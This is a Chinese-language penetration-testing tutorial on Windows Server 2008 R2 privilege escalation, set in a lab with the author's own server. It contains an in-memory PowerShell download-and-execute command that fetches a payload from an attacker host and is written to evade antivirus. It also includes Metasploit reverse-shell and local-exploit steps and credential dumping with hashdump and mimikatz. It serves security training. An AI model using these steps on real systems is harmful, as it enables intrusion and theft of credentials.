根据我以往的渗透测试经验来看,有60%以上的服务器都是搭建在windows服务器之上的,并且使用SQL Server作为数据库,所以,作为渗透测试者的我们,更应该掌握Windows服务器的相关知识,而提权,就是其中之一。
在本章节,我们将从Windows服务器上的一个有限的WebShell作为切入点,利用公开漏洞来获得system级别的访问权限,当然,system是windows系统的最高级别权限,在该权限下你可以运行所有的可执行命令。
环境准备
在这个章节中,我们假设获得了运行在windows 2008R2服务器上的网站的WebShell(https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx),当然这个WebShell是被限制了执行权限的。
Windows 2008R2可以在(https://www.microsoft.com/en-us/download/details.aspx?id=2227)这里下载到。你需要自己添加Web服务器管理员角色并将它配置为支持ASP.NET,管理员角色添加好了,在命令框中执行:C:WindowsMicrosoft.NETFramework64v4.0.30319aspnet_regiis –I 命令。
实战演练
首先我们需要自己手动上传webshell到自己得服务器上,本例是在:192.168.56.14/cmd.aspx.上传成功后我们第一步要做的就是查看当前用户的级别:
1.打开浏览器访问WebShell,并执行whoami命令,如下图:
如上图,我们的当前用户是defaultapppool,它是iis apppool组的成员。并且这个成员的执行权限是很小的。
2.使msfvenom创建一个反向连接,我们将通过powerShell在目标的内存中运行一些指令,这样是为了防止触发目标服务器上的杀毒软件(只有接触到硬盘操作的时候才会被杀软所重视),所以我们的脚本类型一定要是Powershell支持的脚本类型,参数是-f psh,并且要将该payload保存在下来,使用 -o /var/www/html/cutedolphin.ps1,如下图:
3.创建完payload后,打开Kali服务器,使用命令service apache2 start
4.还需要创建一个handler来监听会话的连接,首先在命令行中执行msfconsole打开metasploit,然后再执行下列命令:
5.Handler的配置如下图所示,仔细检查每一项,确认无误后使用run命令运行:
6.Handler运行后就会处于监听状态,等待目标的链接,所以此时我们需要在目标上执行payload来接入handler,如下图,将Program设置为powershell.exe,Arguments设置为-noexit -ciex((New-ObjetNet.WebClient).DownloadString(‘http://192.168.56.10/cutedolphin.ps1’))然后点击Run运行它:
7.如果payload正确地执行了,那么handler就会接入一个连接,如下图:
8.当meterpreter连接上目标主机时,我们可以尝试使用getsystem命令来提权,如果可以的话便会直接获取到system权限,如果失败的话,正如下图所示,我们使用getsystem并没有成功,还使用了hashdump依然失败了,所以我们只能使用sysinfo命令获取系统相关信息,另辟蹊径。
9.使用background命令将当前会话挂起到后台运行;
10.使用searchsploit命令查找可用于2008R2的模块,其中有一个是用来进行本地权限提升的,但是我们使用它后发现并不起作用,这是因为服务器已经打了补丁的缘故:
11.但是我们知道在Exploit-DB数据库中可用于2008R2的模块绝不仅仅是上图的那6个,我们使用grep命令,查找更多的有关模块,如下图,我们找到了更多:
12.现在我们可以根据自己服务器的配置选择一个可利用的模块,乍一看是有点让人头大,在这里我们可以使用head命令来查看每个候选程序的第一行,比如,如下图,我们可以查看编号为40410的漏洞的前20行信息,可以发现它利用了一个名为Zortam Mp3 Media Studio的软件,但是我们很熟悉我们的服务器中并没有安装该软件,所以我们将它排除,看看别的:
13.我们继续寻找着,知道我们发现了编号为35101的模块,它利用windows的内部组件来进行提权,它属于metasploit的模块之一,所以我们可以将它应用在我们刚才挂起的会话中,模块关键信息如下:
14.打开msfconsole并且使用search命令查找TrackPopupMenu,它是模块的名字,这一点你可以在上图红色横线的地方看到,我们要找的是2014年的,如下图:
15.模块的配置信息如下:
配置完成后应该是这样的:
16.运行漏洞就会发现它会在我们挂起的session 1中生效:
17.在新生成的会话中,我们可以使用getuid命令来查看当前用户信息,也可以使用hashdump命令列出用户的hash密码,还可以加载metasploit模块如mimikatz,并进一步执行kerberos,wdigest,tspkg命令来破解登录用户的密码。
原理剖析
我们在获取到主机的webshell后继续上传更高级的webshell来尝试提权。
首先我们使用msfvenom精心构造了一个powershell类型的payload反向连接,并使用handler来监听它,windows服务器上的powershell会调用WebClient对象和DownloadString函数来下载并执行payload,由于远程文件直接通过IEX在内存中执行了,并没有存储到硬盘中,可以躲过大多数杀软。
获取到目标主机的shell后我们尝试使用命令getsystem命令快速提权,然而并没有起作用,所以我们只好在Exploit-DB数据库中查找其他的可用的模块,该模块可直接用于metasploit中,只需要加载它并未它设置反向连接的IP和端口即可,它便会利用我们已经获得到的session会话尝试执行提权操作,一旦成功,就会返回新的shell。
拓展训练
Pentestmonkey含有一个有趣的程序,它可以评估出当前windows中可能存在的被提权的漏洞,这个程序叫做windows-privesc-check.exe(https://github.com/pentestmonkey/windows-privesc-check/),如下图所示,是它的一些基本用法的展示:
它可以把结果以不同的格式保存下来,如HTML、XML和.txt格式,HTML格式的结果信息如下:
另一个非常有趣的程序是Empire(https://github.com/EmpireProject/Empire),Empire包含多个操作系统的模块,可用于持久化访问,提权,侦察,横向渗透,数据过滤甚至是恶意攻击等目的,但是它并不包在Kali中,你可以在上述地址上下载使用它,下图是它的界面示例: